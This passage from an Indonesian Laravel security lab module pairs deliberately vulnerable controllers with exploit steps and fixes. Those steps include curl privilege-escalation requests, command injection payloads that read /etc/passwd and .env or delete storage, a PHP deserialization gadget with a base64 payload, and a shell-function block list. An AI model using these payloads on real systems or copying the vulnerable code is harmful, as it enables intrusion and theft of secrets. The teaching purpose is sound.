</body>
</html>
Enter fullscreen mode Exit fullscreen mode

Konfigurasi Storage:

File: config/filesystems.php

'disks' => [
    'private' => [
        'driver' => 'local',
        'root' => storage_path('app/private'),
        'visibility' => 'private',
    ],
],
Enter fullscreen mode Exit fullscreen mode

Best Practices File Upload Security:

// ✅ BAIK: Validasi tipe file dengan whitelist
'file' => 'required|mimes:pdf,docx|max:2048'

// ✅ BAIK: Verifikasi MIME type dari content (bukan extension)
$mimeType = $file->getMimeType();

// ✅ BAIK: Generate nama file unik
$filename = Str::uuid() . '.' . $extension;

// ✅ BAIK: Simpan di storage private
$file->storeAs('documents', $filename, 'private');

// ✅ BAIK: Scan virus (dengan ClamAV)
// composer require xenolope/quahog
$scanner = new \Xenolope\Quahog\Client(...);
$result = $scanner->scanFile($file->path());

// ✅ BAIK: Set permission file
chmod(storage_path('app/private/' . $filename), 0644);

// ❌ BURUK: Simpan dengan nama asli
$file->move(public_path('uploads'), $file->getClientOriginalName());

// ❌ BURUK: Validasi hanya dari extension
if (pathinfo($filename, PATHINFO_EXTENSION) === 'jpg') { ... }

// ❌ BURUK: Simpan di public directory
$file->move(public_path('uploads'), ...);

// ❌ BURUK: Tidak ada size limit
Enter fullscreen mode Exit fullscreen mode

Image Validation dengan Intervention Image:

composer require intervention/image
Enter fullscreen mode Exit fullscreen mode
use Intervention\Image\Facades\Image;

public function uploadImage(Request $request)
{
    $validated = $request->validate([
        'image' => 'required|image|max:2048'
    ]);

    $image = $request->file('image');

    // Verify it's actually an image
    try {
        $img = Image::make($image->path());

        // Resize to prevent large files
        $img->resize(1920, 1080, function ($constraint) {
            $constraint->aspectRatio();
            $constraint->upsize();
        });

        // Remove EXIF data (privacy)
        $img->orientate();

        // Save
        $filename = Str::uuid() . '.jpg';
        $img->save(storage_path('app/private/images/' . $filename), 85);

    } catch (\Exception $e) {
        return back()->with('error', 'Invalid image file');
    }
}
Enter fullscreen mode Exit fullscreen mode

MODUL 6: AUTHENTICATION & AUTHORIZATION BYPASS

6.1 Teori Singkat

Authentication bypass memungkinkan attacker mengakses sistem tanpa kredensial yang valid. Authorization bypass memungkinkan attacker mengakses resource yang seharusnya tidak dapat mereka akses.

6.2 Skenario Vulnerable Code

Setup Authentication:

php artisan make:migration add_role_to_users_table
Enter fullscreen mode Exit fullscreen mode

File: database/migrations/xxxx_add_role_to_users_table.php

public function up()
{
    Schema::table('users', function (Blueprint $table) {
        $table->enum('role', ['user', 'admin'])->default('user');
    });
}
Enter fullscreen mode Exit fullscreen mode
php artisan migrate
Enter fullscreen mode Exit fullscreen mode

Controller VULNERABLE:

php artisan make:controller AdminController
Enter fullscreen mode Exit fullscreen mode

File: app/Http/Controllers/AdminController.php

<?php

namespace App\Http\Controllers;

use App\Models\User;
use Illuminate\Http\Request;

class AdminController extends Controller
{
    // VULNERABLE: Tidak ada authorization check
    public function dashboardVulnerable()
    {
        // Siapa saja yang login bisa akses!
        $users = User::all();
        return view('admin.dashboard-vulnerable', compact('users'));
    }

    // VULNERABLE: Weak authorization
    public function deleteUserVulnerable($id)
    {
        // Hanya cek jika user login, tidak cek role
        if (!auth()->check()) {
            return redirect('/login');
        }

        User::findOrFail($id)->delete();
        return redirect()->back()->with('success', 'User deleted!');
    }

    // VULNERABLE: Client-side authorization
    public function updateRoleVulnerable(Request $request, $id)
    {
        // BAHAYA: Percaya input dari client
        $user = User::findOrFail($id);

        // Tidak verify apakah requester adalah admin
        $user->role = $request->input('role');
        $user->save();

        return redirect()->back()->with('success', 'Role updated!');
    }
}
Enter fullscreen mode Exit fullscreen mode

File: resources/views/admin/dashboard-vulnerable.blade.php

<!DOCTYPE html>
<html>
<head>
    <title>Admin Dashboard - VULNERABLE</title>
</head>
<body>
    <h1>Admin Dashboard (VULNERABLE)</h1>

    <table border="1">
        <tr>
            <th>ID</th>
            <th>Name</th>
            <th>Email</th>
            <th>Role</th>
            <th>Actions</th>
        </tr>
        @foreach($users as $user)
        <tr>
            <td>{{ $user->id }}</td>
            <td>{{ $user->name }}</td>
            <td>{{ $user->email }}</td>
            <td>{{ $user->role }}</td>
            <td>
                <form method="POST" action="/vulnerable/admin/users/{{ $user->id }}/delete" style="display:inline;">
                    @csrf
                    <button type="submit">Delete</button>
                </form>

                <form method="POST" action="/vulnerable/admin/users/{{ $user->id }}/role" style="display:inline;">
                    @csrf
                    <select name="role">
                        <option value="user">User</option>
                        <option value="admin">Admin</option>
                    </select>
                    <button type="submit">Update Role</button>
                </form>
            </td>
        </tr>
        @endforeach
    </table>
</body>
</html>
Enter fullscreen mode Exit fullscreen mode

Route:

Route::get('/vulnerable/admin/dashboard', [AdminController::class, 'dashboardVulnerable']);
Route::post('/vulnerable/admin/users/{id}/delete', [AdminController::class, 'deleteUserVulnerable']);
Route::post('/vulnerable/admin/users/{id}/role', [AdminController::class, 'updateRoleVulnerable']);
Enter fullscreen mode Exit fullscreen mode

6.3 Eksploitasi Authorization Bypass

Test Serangan:

# 1. Akses admin panel tanpa authorization
curl http://localhost:8000/vulnerable/admin/dashboard \
  -H "Cookie: laravel_session=USER_SESSION"

# 2. Privilege Escalation - upgrade ke admin
curl -X POST http://localhost:8000/vulnerable/admin/users/1/role \
  -d "role=admin" \
  -H "Cookie: laravel_session=USER_SESSION"

# 3. Delete any user
curl -X POST http://localhost:8000/vulnerable/admin/users/2/delete \
  -H "Cookie: laravel_session=USER_SESSION"
Enter fullscreen mode Exit fullscreen mode

IDOR (Insecure Direct Object Reference):

// User dengan ID 5 bisa akses profile user lain
GET /user/profile/10  // Harusnya tidak bisa akses
Enter fullscreen mode Exit fullscreen mode

6.4 Mitigasi Authorization Bypass

Buat Middleware:

php artisan make:middleware EnsureUserIsAdmin
Enter fullscreen mode Exit fullscreen mode

File: app/Http/Middleware/EnsureUserIsAdmin.php

<?php

namespace App\Http\Middleware;

use Closure;
use Illuminate\Http\Request;

class EnsureUserIsAdmin
{
    public function handle(Request $request, Closure $next)
    {
        if (!auth()->check()) {
            return redirect('/login')->with('error', 'Please login first');
        }

        if (auth()->user()->role !== 'admin') {
            abort(403, 'Unauthorized - Admin access required');
        }

        return $next($request);
    }
}
Enter fullscreen mode Exit fullscreen mode

Register Middleware di app/Http/Kernel.php:

protected $middlewareAliases = [
    // ... middleware lain
    'admin' => \App\Http\Middleware\EnsureUserIsAdmin::class,
];
Enter fullscreen mode Exit fullscreen mode

Controller SECURE:

<?php

namespace App\Http\Controllers;

use App\Models\User;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Gate;

class AdminController extends Controller
{
    public function __construct()
    {
        // Apply middleware ke semua method
        $this->middleware('admin');
    }

    // SECURE: Dengan authorization check
    public function dashboardSecure()
    {
        // Double check (defense in depth)
        if (auth()->user()->role !== 'admin') {
            abort(403);
        }

        $users = User::all();
        return view('admin.dashboard-secure', compact('users'));
    }

    // SECURE: Dengan Gate
    public function deleteUserSecure($id)
    {
        Gate::authorize('delete-user');

        $user = User::findOrFail($id);

        // Prevent deleting self
        if ($user->id === auth()->id()) {
            return redirect()->back()->with('error', 'Cannot delete yourself!');
        }

        $user->delete();
        return redirect()->back()->with('success', 'User deleted!');
    }

    // SECURE: Dengan Policy
    public function updateRoleSecure(Request $request, $id)
    {
        $user = User::findOrFail($id);

        // Authorize using Policy
        $this->authorize('update', $user);

        $validated = $request->validate([
            'role' => 'required|in:user,admin'
        ]);

        // Prevent demoting last admin
        if ($validated['role'] === 'user' && $user->role === 'admin') {
            $adminCount = User::where('role', 'admin')->count();
            if ($adminCount <= 1) {
                return redirect()->back()->with('error', 'Cannot demote last admin!');
            }
        }

        $user->role = $validated['role'];
        $user->save();

        return redirect()->back()->with('success', 'Role updated securely!');
    }
}
Enter fullscreen mode Exit fullscreen mode

Buat Policy:

php artisan make:policy UserPolicy --model=User
Enter fullscreen mode Exit fullscreen mode

File: app/Policies/UserPolicy.php

<?php

namespace App\Policies;

use App\Models\User;

class UserPolicy
{
    public function update(User $authUser, User $targetUser)
    {
        // Hanya admin yang bisa update
        return $authUser->role === 'admin';
    }

    public function delete(User $authUser, User $targetUser)
    {
        // Admin bisa delete, tapi tidak bisa delete diri sendiri
        return $authUser->role === 'admin' && $authUser->id !== $targetUser->id;
    }

    public function viewAny(User $user)
    {
        return $user->role === 'admin';
    }
}
Enter fullscreen mode Exit fullscreen mode

Register Policy di app/Providers/AuthServiceProvider.php:

protected $policies = [
    User::class => UserPolicy::class,
];
Enter fullscreen mode Exit fullscreen mode

Define Gates:

File: app/Providers/AuthServiceProvider.php

use Illuminate\Support\Facades\Gate;

public function boot()
{
    Gate::define('delete-user', function ($user) {
        return $user->role === 'admin';
    });

    Gate::define('manage-users', function ($user) {
        return $user->role === 'admin';
    });
}
Enter fullscreen mode Exit fullscreen mode

Route SECURE:

// Protected dengan middleware
Route::middleware(['auth', 'admin'])->group(function () {
    Route::get('/secure/admin/dashboard', [AdminController::class, 'dashboardSecure']);
    Route::post('/secure/admin/users/{id}/delete', [AdminController::class, 'deleteUserSecure']);
    Route::post('/secure/admin/users/{id}/role', [AdminController::class, 'updateRoleSecure']);
});
Enter fullscreen mode Exit fullscreen mode

Best Practices Authorization:

// ✅ BAIK: Gunakan middleware
Route::middleware('admin')->group(function () { ... });

// ✅ BAIK: Gunakan Gate
if (Gate::allows('delete-user')) { ... }
Gate::authorize('delete-user');

// ✅ BAIK: Gunakan Policy
$this->authorize('update', $user);

// ✅ BAIK: Check di Blade
@can('update', $user)
    <button>Edit</button>
@endcan

// ✅ BAIK: Multiple checks (defense in depth)
if (auth()->user()->role === 'admin' && Gate::allows('delete-user')) { ... }

// ❌ BURUK: Client-side only check
if (request()->input('is_admin')) { ... }

// ❌ BURUK: Tidak ada authorization check
public function deleteUser($id) { User::find($id)->delete(); }

// ❌ BURUK: Hanya check authentication, tidak check authorization
if (auth()->check()) { // allow admin action }
Enter fullscreen mode Exit fullscreen mode

MODUL 7: COMMAND INJECTION

7.1 Teori Singkat

Command Injection adalah vulnerability yang memungkinkan attacker mengeksekusi sistem command arbitrary melalui aplikasi web.

7.2 Skenario Vulnerable Code

Buat Controller:

php artisan make:controller SystemController
Enter fullscreen mode Exit fullscreen mode

File: app/Http/Controllers/SystemController.php

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class SystemController extends Controller
{
    // VULNERABLE: Command Injection via ping
    public function pingVulnerable(Request $request)
    {
        $host = $request->input('host');

        // BAHAYA: Input langsung ke shell command
        $output = shell_exec("ping -c 4 " . $host);

        return view('system.ping-vulnerable', compact('output'));
    }

    // VULNERABLE: Command Injection via file processing
    public function convertImageVulnerable(Request $request)
    {
        $filename = $request->input('filename');

        // BAHAYA: Filename tidak di-sanitize
        $command = "convert /uploads/$filename /uploads/output.jpg";
        exec($command, $output, $return_var);

        return view('system.convert', compact('output'));
    }
}
Enter fullscreen mode Exit fullscreen mode

File: resources/views/system/ping-vulnerable.blade.php

<!DOCTYPE html>
<html>
<head>
    <title>Ping Tool - VULNERABLE</title>
</head>
<body>
    <h1>Ping Tool (VULNERABLE)</h1>

    <form method="POST" action="/vulnerable/system/ping">
        @csrf
        <label>Host to ping:</label>
        <input type="text" name="host" placeholder="example.com">
        <button type="submit">Ping</button>
    </form>

    @if(isset($output))
        <h2>Output:</h2>
        <pre>{{ $output }}</pre>
    @endif
</body>
</html>
Enter fullscreen mode Exit fullscreen mode

Route:

Route::post('/vulnerable/system/ping', [SystemController::class, 'pingVulnerable']);
Enter fullscreen mode Exit fullscreen mode

7.3 Eksploitasi Command Injection

Test Serangan:

# Payload 1: Command chaining dengan semicolon
Host: example.com; ls -la

# Payload 2: Command chaining dengan &&
Host: example.com && cat /etc/passwd

# Payload 3: Command chaining dengan ||
Host: example.com || whoami

# Payload 4: Command chaining dengan pipe
Host: example.com | cat .env

# Payload 5: Command substitution
Host: example.com `cat .env`
Host: example.com $(whoami)

# Payload 6: Backtick injection
Host: `rm -rf storage/*`

# Payload 7: Redirect output
Host: example.com > /dev/null; cat .env > public/exposed.txt
Enter fullscreen mode Exit fullscreen mode

Akses hasil:

http://localhost:8000/exposed.txt
Enter fullscreen mode Exit fullscreen mode

7.4 Mitigasi Command Injection

Controller SECURE:

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use Symfony\Component\Process\Process;
use Symfony\Component\Process\Exception\ProcessFailedException;

class SystemController extends Controller
{
    // SECURE: Dengan validasi dan whitelisting
    public function pingSecure(Request $request)
    {
        $validated = $request->validate([
            'host' => 'required|ip|max:15'  // Hanya terima IP valid
        ]);

        $host = $validated['host'];

        // Metode 1: Menggunakan escapeshellarg()
        $host = escapeshellarg($host);
        $output = shell_exec("ping -c 4 $host 2>&1");

        return view('system.ping-secure', compact('output'));
    }

    // SECURE: Menggunakan Symfony Process
    public function pingSecureV2(Request $request)
    {
        $validated = $request->validate([
            'host' => 'required|regex:/^[a-zA-Z0-9.-]+$/|max:255'
        ]);

        // Metode 2: Symfony Process (Recommended)
        $process = new Process(['ping', '-c', '4', $validated['host']]);

        try {
            $process->mustRun();
            $output = $process->getOutput();
        } catch (ProcessFailedException $exception) {
            $output = "Error: " . $exception->getMessage();
        }

        return view('system.ping-secure', compact('output'));
    }

    // SECURE: Dengan whitelist domain
    public function pingSecureV3(Request $request)
    {
        $allowedHosts = [
            'google.com',
            'example.com',
            'localhost'
        ];

        $host = $request->input('host');

        if (!in_array($host, $allowedHosts)) {
            return back()->with('error', 'Host not allowed!');
        }

        $process = new Process(['ping', '-c', '4', $host]);
        $process->run();
        $output = $process->getOutput();

        return view('system.ping-secure', compact('output'));
    }

    // SECURE: Alternatif tanpa shell command
    public function checkHostSecure(Request $request)
    {
        $validated = $request->validate([
            'host' => 'required|url'
        ]);

        // Gunakan PHP function native
        $host = parse_url($validated['host'], PHP_URL_HOST);
        $ip = gethostbyname($host);

        $isReachable = ($ip !== $host) ? 'Host is reachable' : 'Host not found';

        return view('system.check-host', compact('host', 'ip', 'isReachable'));
    }
}
Enter fullscreen mode Exit fullscreen mode

Best Practices Command Injection Prevention:

// ✅ BAIK: Hindari shell command jika memungkinkan
// Gunakan PHP functions: file_get_contents(), gethostbyname(), dll

// ✅ BAIK: Gunakan Symfony Process Component
$process = new Process(['command', 'arg1', 'arg2']);
$process->run();

// ✅ BAIK: Escape input dengan escapeshellarg()
$safe = escapeshellarg($userInput);
shell_exec("command $safe");

// ✅ BAIK: Validasi ketat dengan regex
'input' => 'required|regex:/^[a-zA-Z0-9._-]+$/'

// ✅ BAIK: Whitelist input
if (!in_array($input, $allowedValues)) { abort(400); }

// ❌ BURUK: Concatenate user input
shell_exec("command " . $userInput);

// ❌ BURUK: exec(), system(), passthru() dengan user input
exec("command " . $_GET['param']);

// ❌ BURUK: Percaya input user
shell_exec("ping " . $request->input('host'));
Enter fullscreen mode Exit fullscreen mode

Disable Dangerous Functions:

File: php.ini

disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
Enter fullscreen mode Exit fullscreen mode

MODUL 8: INSECURE DESERIALIZATION

8.1 Teori Singkat

Insecure Deserialization terjadi ketika aplikasi deserialize data yang tidak terpercaya tanpa validasi yang proper, memungkinkan attacker mengeksekusi arbitrary code.

8.2 Skenario Vulnerable Code

Buat Controller:

php artisan make:controller SerializationController
Enter fullscreen mode Exit fullscreen mode

File: app/Http/Controllers/SerializationController.php

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class SerializationController extends Controller
{
    // VULNERABLE: Deserialization dari user input
    public function loadDataVulnerable(Request $request)
    {
        $serialized = $request->input('data');

        // BAHAYA: unserialize() dari user input
        $data = unserialize($serialized);

        return view('serialization.result', compact('data'));
    }

    // VULNERABLE: Deserialize dari cookie
    public function processUserPreferences(Request $request)
    {
        $preferences = $request->cookie('preferences');

        if ($preferences) {
            // BAHAYA: Cookie bisa dimodifikasi client
            $data = unserialize(base64_decode($preferences));

            // Process preferences...
        }

        return view('preferences.show');
    }
}
Enter fullscreen mode Exit fullscreen mode

8.3 Eksploitasi Insecure Deserialization

Malicious Class untuk Exploit:

<?php

class Evil {
    private $command;

    public function __construct($cmd) {
        $this->command = $cmd;
    }

    // Magic method dipanggil saat unserialize
    public function __destruct() {
        system($this->command);
    }
}

// Generate payload
$evil = new Evil('cat .env > public/hacked.txt');
$serialized = serialize($evil);
echo base64_encode($serialized);

// Output: Tzo0OiJFdmlsIjoxOntzOjEzOiIARXZpbABjb21tYW5kIjtzOjI3OiJjYXQgLmVudiA+IHB1YmxpYy9oYWNrZWQudHh0Ijt9
Enter fullscreen mode Exit fullscreen mode

Test Serangan:

# Send malicious serialized data
curl -X POST http://localhost:8000/vulnerable/load-data \
  -d "data=Tzo0OiJFdmlsIjoxOntzOjEzOiIARXZpbABjb21tYW5kIjtzOjI3OiJjYXQgLmVudiA+IHB1YmxpYy9oYWNrZWQudHh0Ijt9"
Enter fullscreen mode Exit fullscreen mode

8.4 Mitigasi Insecure Deserialization

Controller SECURE:

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class SerializationController extends Controller
{
    // SECURE: Gunakan JSON instead of serialize
    public function loadDataSecure(Request $request)
    {
        $jsonData = $request->input('data');

        // JSON lebih aman karena tidak execute code
        $data = json_decode($jsonData, true);

        // Validate structure
        if (!is_array($data) || !isset($data['expected_key'])) {
            return back()->with('error', 'Invalid data format');
        }

        return view('serialization.result', compact('data'));
    }

    // SECURE: Sign serialized data
    public function savePreferencesSecure(Request $request)
    {
        $preferences = [
            'theme' => $request->input('theme'),
            'language' => $request->input('language')
        ];

        // Sign dengan HMAC
        $serialized = serialize($preferences);
        $signature = hash_hmac('sha256', $serialized, config('app.key'));
        $signed = base64_encode($serialized . '|' . $signature);

        return response()
            ->view('preferences.show')
            ->cookie('preferences', $signed);
    }

    public function loadPreferencesSecure(Request $request)
    {
        $signed = $request->cookie('preferences');

        if (!$signed) {
            return view('preferences.show');
        }

        $decoded = base64_decode($signed);
        $parts = explode('|', $decoded);

        if (count($parts) !== 2) {
            return back()->with('error', 'Invalid preferences data');
        }

        list($serialized, $signature) = $parts;

        // Verify signature
        $expected = hash_hmac('sha256', $serialized, config('app.key'));

        if (!hash_equals($expected, $signature)) {
            return back()->with('error', 'Preferences data has been tampered!');
        }

        // Safe to unserialize
        $preferences = unserialize($serialized);

        return view('preferences.show', compact('preferences'));
    }
}
Enter fullscreen mode Exit fullscreen mode

Best Practices Deserialization:

// ✅ BAIK: Gunakan JSON
$data = json_decode($input, true);

// ✅ BAIK: Validate dan sign serialized data
$signature = hash_hmac('sha256', $serialized, $key);

// ✅ BAIK: Gunakan Laravel's encrypted cookies
Cookie::queue('data', $value); // Auto-encrypted & signed

// ✅ BAIK: Whitelist allowed classes (PHP 7+)
$data = unserialize($input, ['allowed_classes' => ['MyClass']]);

// ✅ BAIK: Validate structure setelah deserialization
if (!$data instanceof ExpectedClass) { abort(400); }

// ❌ BURUK: unserialize() dari user input
$data = unserialize($_POST['data']);

// ❌ BURUK: Deserialize tanpa signature verification
$data = unserialize(base64_decode($_COOKIE['data']));
Enter fullscreen mode Exit fullscreen mode

TUGAS PERTEMUAN 2

Tugas Mandiri

  1. File Upload Vulnerability:

    • Implementasikan upload avatar user dengan vulnerability
    • Upload web shell dan eksekusi command
    • Perbaiki dengan validasi lengkap dan private storage
  2. Authorization Bypass:

    • Buat sistem management user dengan IDOR vulnerability
    • Lakukan privilege escalation
    • Implementasikan Policy dan Gate dengan benar
  3. Command Injection:

    • Buat fitur backup database dengan vulnerability
    • Eksekusi arbitrary command
    • Perbaiki menggunakan Symfony Process
  4. Insecure Deserialization:

    • Buat fitur export/import settings dengan serialization
    • Buat payload untuk RCE
    • Implementasikan signed serialization atau JSON

Project Akhir

Buat Aplikasi E-Commerce Sederhana dengan:

  1. Features:

    • User registration & login
    • Product catalog dengan search
    • Shopping cart
    • Checkout process
    • Admin panel
  2. Implementasikan Security:

    • ✅ SQL Injection prevention
    • ✅ XSS prevention
    • ✅ CSRF protection
    • ✅ Mass Assignment protection
    • ✅ Secure file upload
    • ✅ Proper authorization
    • ✅ Input validation
    • ✅ Security headers
  3. Testing:

    • Lakukan penetration testing
    • Dokumentasikan vulnerabilities yang ditemukan
    • Implementasikan fixes

Laporan Praktikum 2

Buat laporan lengkap yang berisi:

  1. Screenshot hasil eksploitasi setiap vulnerability
  2. Analisis code vulnerable vs secure
  3. Penjelasan teknis setiap serangan
  4. Implementasi mitigasi
  5. Testing hasil perbaikan
  6. Project akhir dengan security checklist

KESIMPULAN

Rangkuman

Praktikum ini telah membahas berbagai eksploitasi web pada aplikasi Laravel dan cara mengantisipasinya:

Pertemuan 1:

  1. SQL Injection - Gunakan Eloquent ORM dan parameter binding
  2. XSS - Escape output dengan {{ }} dan implementasi CSP
  3. CSRF - Gunakan @csrf token di semua form
  4. Mass Assignment - Definisikan $fillable atau $guarded di model

Pertemuan 2:

  1. File Upload - Validasi tipe file, gunakan storage private, generate unique filename
  2. Authorization - Implementasikan middleware, Policy, dan Gate
  3. Command Injection - Hindari shell command, gunakan Symfony Process
  4. Deserialization - Gunakan JSON atau signed serialization

Key Takeaways

  1. Defense in Depth: Implementasikan multiple layers of security
  2. Validate Everything: Never trust user input
  3. Least Privilege: Berikan akses minimum yang diperlukan
  4. Secure by Default: Laravel sudah secure, jangan nonaktifkan fitur security
  5. Keep Updated: Selalu update Laravel dan dependencies
  6. Security Testing: Regular penetration testing dan code review

Security Checklist untuk Laravel

 Gunakan Eloquent ORM (bukan raw SQL)
 Escape semua output dengan {{ }}
 Enable CSRF protection (@csrf di semua form)
 Definisikan $fillable/$guarded di semua Model
 Validasi semua input dengan Request Validation
 Gunakan middleware untuk authentication & authorization
 Implementasikan Policy/Gate untuk complex authorization
 Simpan file upload di private storage
 Hash password dengan bcrypt/argon2
 Gunakan HTTPS di production
 Set security headers (CSP, X-Frame-Options, dll)
 Disable debug mode di production (APP_DEBUG=false)
 Protect .env file
 Rate limiting untuk API dan login
 Log security events
 Regular security updates
Enter fullscreen mode Exit fullscreen mode

Resources Tambahan

Dokumentasi:

Tools:

  • Laravel Debugbar: Debugging
  • PHPStan: Static Analysis
  • Laravel Security Checker: Vulnerability Scanner

Books:

  • "Web Application Security" by Andrew Hoffman
  • "The Tangled Web" by Michal Zalewski

KRITERIA PENILAIAN

Penilaian Laporan (40%)

  • Kelengkapan dokumentasi: 10%
  • Screenshot dan penjelasan: 10%
  • Analisis code: 10%
  • Kesimpulan: 10%

Penilaian Praktik (40%)

  • Berhasil eksploitasi: 15%
  • Implementasi fix: 15%
  • Code quality: 10%

Project Akhir (20%)

  • Fungsionalitas aplikasi: 5%
  • Implementasi security: 10%
  • Dokumentasi: 5%

Selamat Belajar & Stay Secure! 🔒

Catatan: Semua eksploitasi dalam praktikum ini hanya untuk tujuan pembelajaran. JANGAN gunakan teknik ini untuk menyerang sistem yang bukan milik Anda. Ini adalah tindakan ilegal dan tidak etis.

Top comments (0)